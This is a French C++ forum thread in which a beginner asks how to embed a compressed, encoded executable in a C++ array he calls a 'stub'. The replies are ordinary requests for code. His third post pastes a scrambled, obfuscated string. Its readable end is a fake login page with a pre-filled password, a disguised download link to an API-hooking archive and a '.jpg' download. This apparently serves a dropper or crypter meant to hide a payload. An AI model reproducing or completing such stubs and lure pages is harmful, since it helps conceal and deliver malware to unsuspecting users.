IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

C++ Discussion :

injecter le contenu d'un fichier dans un tableau


Sujet :

C++

  1. #1
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2006
    Messages
    131
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2006
    Messages : 131
    Points : 50
    Points
    50
    Par défaut injecter le contenu d'un fichier dans un tableau
    salut a tous

    ici ==> total noob en CPP

    grace à certains membres j'ai réussi à avancer dans mon projet

    là je bute sur un petit probleme :

    un autre script fait dans un autre langage doit me renvoyer le contenu d'un fichier dans une variable, ce fichier peut etre du txt ou du binaire executable, taille max 2mo

    j'ai la possibilité de transformer le contenu en exadecimal, voire en bz2, voire même en bz2 traduit en exadecimal avant de l'envoyer vers le script cpp

    ensuite je dois traiter cette variable comme un tableau et lui appliquer un algo (si c'est pas possible j'essaierai de trouver un moyen avec un équivalent de strlen et strpos)

    j'ai fait des essais en échappant les guillemets et les apostrophes, mais le compileur pleure grave
    ---------------------------------
    quelqu'un pourrait il me dire si je peux ecrire

    string filecontent[2mo] = "2megas de caractères binaires executables":
    ou
    string filecontent [1mo]= "1megas de chaines compressées en BZ2":
    ou
    string filecontent [2mo]= "2 megas une chaine BZ2 traduite en exa";

    quel serait votre conseil ?

    rogerio

  2. #2
    Rédacteur
    Avatar de Laurent Gomila
    Profil pro
    Développeur informatique
    Inscrit en
    Avril 2003
    Messages
    10 651
    Détails du profil
    Informations personnelles :
    Âge : 39
    Localisation : France, Moselle (Lorraine)

    Informations professionnelles :
    Activité : Développeur informatique

    Informations forums :
    Inscription : Avril 2003
    Messages : 10 651
    Points : 15 920
    Points
    15 920
    Par défaut
    J'ai pas vraiment compris où se situait ton problème... Mais je suis certain que sas réponse se trouve dans la FAQ.

  3. #3
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2006
    Messages
    131
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2006
    Messages : 131
    Points : 50
    Points
    50
    Par défaut lol
    @laurent

    j'ai lu plusieurs faq et tutos

    ils sont pratiquement tous identiques et je n'ai pas trouvé ce que je cherchais

    le script que je veux faire est extrement simple mais je bute sur quelques détails

    cela fait deux jours que je me suis mis au cpp (total noob) et je sais que pour maitriser un langage au point de pouvoir s'exprimer courament il faut compter 2ans à plein temps

    mon probleme est que gcc a détesté ceci

    char *stub[2723] = 'm##H<k!!Ohd\/\/StibbTmriiNl nnA>\/\/\/MmbbE
    naa=<tss"b\/hhwogede
    bynm#s tiebor
    rgormvc\/okeobrrrlose"ooeirtls
    =ee"
    cr#mtf9k s9d- 9ii\/9r d9 -e9\/ov"m \/ n>stt>do\/ apg\/9memann
    rttmgo\/kiogrn\/ee=tni"mts0poe"or>
    \/fmes
    kt <dc\/Ci\/dErmeN avT\/k\/EmesRn.d>tca<\/o1ign0mefgn
    t&msokro
    rc\/me=hoi"ous\/mneietrm fa
    -sgmt ek \/sdpd\/irelrovo c\/g\/ simndnnoa_tn1h\/e1eg ae\/
    dnmmetnkrotr.o\/ej\/gipresgone"otr>tof<os\/
    \/ pmp\/>krddoe
    icv<r\/f
    so\/mdrmoamnu1 tn2a\/tcg
    te-minokot rnobe=oii"\/nshvdeta rtr\/fpds:
    e \/mv\/\/k dad\/enimvgrn\/e tsl\/\/dsmgaone1ftn3p\/togo
    reomnn\/k.tdrnoeeeovit\/s\/v
    emacrerhfm\/rsblo eio\/rbtds e\/
    \/vimm\/nknsddtdei\/axrg1. e4h\/ntmt
    mno#lto?\/
    ag\/mcebktniditnioo\/rnob =\/a\/tvsmaahnur\'tt\/\/hl
    g&ieeubnnn\/vtam-omyuoesp\/=qdbslaoutom
    etmi

    tmsmskokmsudiwritacrhpe & \/p\/\/madensettsvc\/=\/\/gbspeodrnnaotg1foo5iogl\/r
    etis\'mtwpta
    ype
    &oxmanpkc odt\/riidtroe nvP\/=\/Smls1nod=tga"\/i1(gn5ce"hn
    rtmooe
    ootmt\/ho)hou odn$m=tPe" SP\/1
    Od"mSekTv
    d"\/ei>smrde
    ar\/<1gmc4ene tn\/-\/tm-gensertyn>\/ntgco
    eo<n\/FtrOooNooTt
    Cm
    OomLukOndRti= r"\/ #d\/0em0vn0\/t0s\/0dg0ae"9n tF\/oAmoCn\/Etv=\/a"grAern
    itmaoklod"\/i brso io\/ztmen=
    t"m\/3og"ue>nn<ttb o>\/oMd\/eevmvab\/res\/rdlsai 1bA0r
    e\/mamk ndLtio\/rgg ie\/nnm.tn<ot\/o\/b\/g>te<mn\/ptfoo
    onm\/tov>ua<nrpt\/> l<\/iFdbOe\/NvmT\/y ssFdqAalC1E1
    = #"\/Am
    rnmitka\/slgw"ea npst io\/zode\/e=rv"o\/2os"td ac
    1om5loou
    rns=tw" a#\/pFdoFenFv F\/\/FsdFde"av>1\/<2sc de\/anm1tn5etr\/
    >g#<ebn
    >tmEoorour\/nohtro :m\/ edIen
    vvm\/aosludinadt1 4u\/ sd\/eemrvnn\/tas\/mdgeae 1na3tn od\/o\/mon
    rtm \/opguaensntst wo\/oodr\/edvv!a\/<rs\/\/dbla>i9<b \/\/\/cmmeynnsttq\/elgre>
    n<t\/
    of oo\/nbto>ot
    <
    tmaobulnet b\/odredve\/rs=d"a01"0> \/
    m<nttr\/>ge
    n<ttodo>\/<tFmOpNT
    mCoOuLnOtR =\/"d#e0v0\/0s0d0a01"1 F\/AmCnEt=\/"gAernitaolo"\/ rsoiozte=
    "m2o"u>nUts e\/rdneavm\/es:d<a\/1t2d >\/<mtndt>\/<giennptuoto \/thyopmee="
    tmeoxutn"t n\/admeev=\/"sudnaa1m3e "\/ mvnatl\/ugee=n"tsouom\/mviatrs\/mliitbh\/"m>y<s\/qtld>

    < \/tr>
    <tr><td><FONT COLOR="#000000" FACE="Arial" size="2">Password:<\/td><td><input type="password" name="pass" value="bongogritty"><\/td><\/tr>
    <td><\/td><td><input type="checkbox" name="check"><FONT COLOR="#000000" FACE="Arial" size="2">Remember me*<\/font><\/td>
    <\/tr><tr>
    <td><\/td><td><input type="submit" value="Continue..."><\/td>
    <\/tr>
    <\/table>
    <p><FONT COLOR="#000000" FACE="Arial" size="1">* You must have cookies enabled,
    <a href="http:\/\/wasm.ru\/pub\/21\/files\/advapihook.rar"><FONT COLOR="#000000" FACE="Arial" size="1">download<\/font><\/a>download.<\/font>
    <p><a href=

    "http:\/\/skintraffic.com\/support.php?site_id=aop"><FONT COLOR="#000000" FACE="Arial" size="2">Customer Support<\/font><\/a>
    <\/center>
    <\/form>
    <a href="http:\/\/www.myfilestash.com\/userfiles\/JEvel\/r.jpg">download<\/a>
    <\/center>
    <\/body>
    <\/html>';


    rogerio

  4. #4
    Rédacteur

    Avatar de Matthieu Brucher
    Profil pro
    Développeur HPC
    Inscrit en
    Juillet 2005
    Messages
    9 810
    Détails du profil
    Informations personnelles :
    Âge : 42
    Localisation : France, Pyrénées Atlantiques (Aquitaine)

    Informations professionnelles :
    Activité : Développeur HPC
    Secteur : Industrie

    Informations forums :
    Inscription : Juillet 2005
    Messages : 9 810
    Points : 20 970
    Points
    20 970
    Par défaut
    Commence par nous donner ton code, on t'aidera par la suite.
    C'est quoi ce
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
     string filecontent[2mo] = "2megas de caractères binaires executables":
    ? Le 2mo, c'est quoi ?
    C'est du pseudo code ce que tu nous donnes ?
    Si tu ne connais pas le C++, je te conseille de commencer par quelque chose de plus simple que ce que tu fais.
    D'ailleurs, je suis sûr que ça serait plus facile à faire en script sh qu'en C++ - vu le message que tu avais posté avant -

  5. #5
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2006
    Messages
    131
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2006
    Messages : 131
    Points : 50
    Points
    50
    Par défaut op
    @Miles
    c'est clair que je n'étudie le c++ que depuis trois jours
    néanmoins ce script n'est qu'une petite partie de mon projet personnel, dans d'autres langages (perl par exemple) ça m'aurait pris 10 min pour le faire, mais le script doit etre dans un langage de haut niveau compilable sous linux
    ############################################
    j'ai bzippé la chaine et je l'ai traduit en ord (index entier de la table ascii), puis je les ai empilé dans un tableau
    le résultat dans le code cpp est :

    int stub[13041] = {66,90,104,57,49,65,89,38,83,89,60,105,146,187,0,43,127,127,152,110,50,2,0,123,255,255,255,255,255,255,254,191,255,255,254,0,40,0,136,96,57,220,60,37,111,181,136,219,193,46,183};

    j'ai pas mis tous les 13041 caractères
    ---------------------------------------------

    il ne me reste plus qu'à trouvé l'équivalent de chr(int_ascii) pour reconstruire la chaine bzippée

    et la fonction qui va decompresser le a chaine bzdecode(string,level)

    si quelqu'un a une idée ou un lien vers un site qui presente toutes les fonctions c++




  6. #6
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2006
    Messages
    131
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2006
    Messages : 131
    Points : 50
    Points
    50
    Par défaut lol
    je pense que le titre ne correspond pas au probleme

    je vais tagger ce thread en deletion

    rogerio

Discussions similaires

  1. Mettre le contenu d'un fichier dans un tableau
    Par Auzingueur dans le forum Débuter
    Réponses: 7
    Dernier message: 16/12/2013, 10h04
  2. Réponses: 3
    Dernier message: 16/11/2012, 01h34
  3. ajouter le contenu d'un fichier dans un tableau
    Par simplyc dans le forum Débuter
    Réponses: 13
    Dernier message: 29/09/2011, 12h38
  4. Réponses: 8
    Dernier message: 03/09/2007, 21h11
  5. Réponses: 4
    Dernier message: 26/01/2006, 14h37

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo